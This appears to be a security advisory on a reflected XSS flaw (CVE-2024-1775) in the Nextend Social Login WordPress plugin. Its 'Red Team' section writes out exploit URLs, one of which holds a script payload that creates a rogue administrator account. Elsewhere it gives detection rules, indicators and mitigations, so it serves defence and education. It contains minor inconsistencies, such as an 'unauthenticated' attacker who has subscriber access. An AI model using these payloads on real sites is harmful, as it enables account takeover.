CVE-2024-1775

Executive Summary

CVE-2024-1775 is a reflected cross-site scripting (XSS) vulnerability in the Nextend Social Login and Register plugin for WordPress, affecting all versions up to and including 3.1.12. The flaw resides in the error_description parameter, which is insufficiently sanitized and escaped. An unauthenticated attacker with subscriber-level access can inject arbitrary web scripts that execute when a victim clicks a crafted link. The impact is amplified when combined with cross-site request forgery (CSRF) against a higher-privileged user (e.g., administrator) and when the plugin’s “Debug mode” is enabled, potentially leading to administrator-level account creation. The EPSS score is 0.0%, indicating low exploitation likelihood, but the vulnerability remains unpatched.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No open-source patch data or GitHub advisory is available. Users must rely on vendor updates or manual mitigation.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (subscriber)
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction and debug mode, but the potential for privilege escalation to admin makes it significant.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the error_description parameter of the Nextend Social Login plugin. When a user is redirected after an OAuth failure, the plugin reflects the error_description value without proper sanitization or output escaping. An attacker can craft a malicious URL containing JavaScript in this parameter. If a logged-in subscriber clicks the link, the script executes in their browser context. With debug mode enabled, the attacker can chain this with CSRF to trick an admin into performing actions, such as creating a new admin account.

Root Cause: The plugin uses $_GET['error_description'] directly in the response without applying esc_html() or similar escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (version 3.1.12):

// In a callback handler
$error_description = $_GET['error_description'];
echo '<div class="error">' . $error_description . '</div>';

Patched Code (hypothetical fix):

$error_description = isset($_GET['error_description']) ? esc_html($_GET['error_description']) : '';
echo '<div class="error">' . $error_description . '</div>';

The fix applies esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Nextend Social Login <= 3.1.12
• Debug mode enabled in plugin settings
• A subscriber-level account (or ability to trick a subscriber)

Exploit Steps:

1. Craft a malicious URL:

   https://target.com/wp-login.php?action=social_login&provider=google&error_description=<script>alert('XSS')</script>
   

2. Send the link to a logged-in subscriber (or admin via CSRF).
3. When clicked, the script executes in the victim’s browser.

Advanced Attack (Admin Account Creation):

• Combine with CSRF to force an admin to create a new user with admin privileges.
• Example payload (requires debug mode):

  https://target.com/wp-login.php?action=social_login&provider=google&error_description=<script>fetch('/wp-admin/user-new.php', {method:'POST', credentials:'include', body:'action=createuser&user_login=eviladmin&email=evil@example.com&role=administrator'})</script>
  

Blue Team

Detection:

• Monitor logs for unusual error_description parameters containing <script> tags.
• Alert on requests to /wp-login.php?action=social_login with suspicious query strings.

Prevention:

• Disable debug mode in the plugin settings.
• Apply a Web Application Firewall (WAF) rule to block XSS patterns in the error_description parameter.
• Restrict subscriber-level accounts from accessing admin pages.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /wp-login.php?action=social_login&provider=*&error_description=*
  • error_description containing <script>, onerror=, javascript:, etc.
• Log Entries:
  • HTTP requests with error_description parameter containing HTML/JavaScript.
• File Changes:
  • Unexpected admin accounts created.
  • Modified plugin files (if attacker uploads backdoor).

Detection Engineering

YARA Rule

rule Nextend_XSS_ErrorDescription {
    meta:
        description = "Detects reflected XSS attempts via error_description parameter in Nextend Social Login"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1775"
    strings:
        $param = "error_description=" nocase
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
    condition:
        $param and any of ($xss*)
}

Sigma Rule

title: Nextend Social Login Reflected XSS via error_description
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-1775
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'error_description='
        cs-uri-query|contains|any:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate error messages containing similar text (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1775 Nextend Social Login Reflected XSS"; flow:to_server,established; content:"GET"; http_method; content:"/wp-login.php"; http_uri; content:"error_description="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable “Debug mode” in the plugin’s Global Settings.
2. Vendor Patch: Await an official update from Nextend. If unavailable, consider disabling the plugin or implementing a virtual patch.
3. WAF Rule: Block requests containing error_description with XSS patterns.
4. User Training: Educate users not to click suspicious links, especially when logged into WordPress.
5. Monitor: Review logs for exploitation attempts and unexpected admin accounts.

Valters IT